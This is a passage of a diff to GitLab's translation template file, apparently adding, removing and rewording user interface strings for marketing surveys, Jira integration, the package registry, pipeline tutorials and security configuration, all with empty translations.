+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
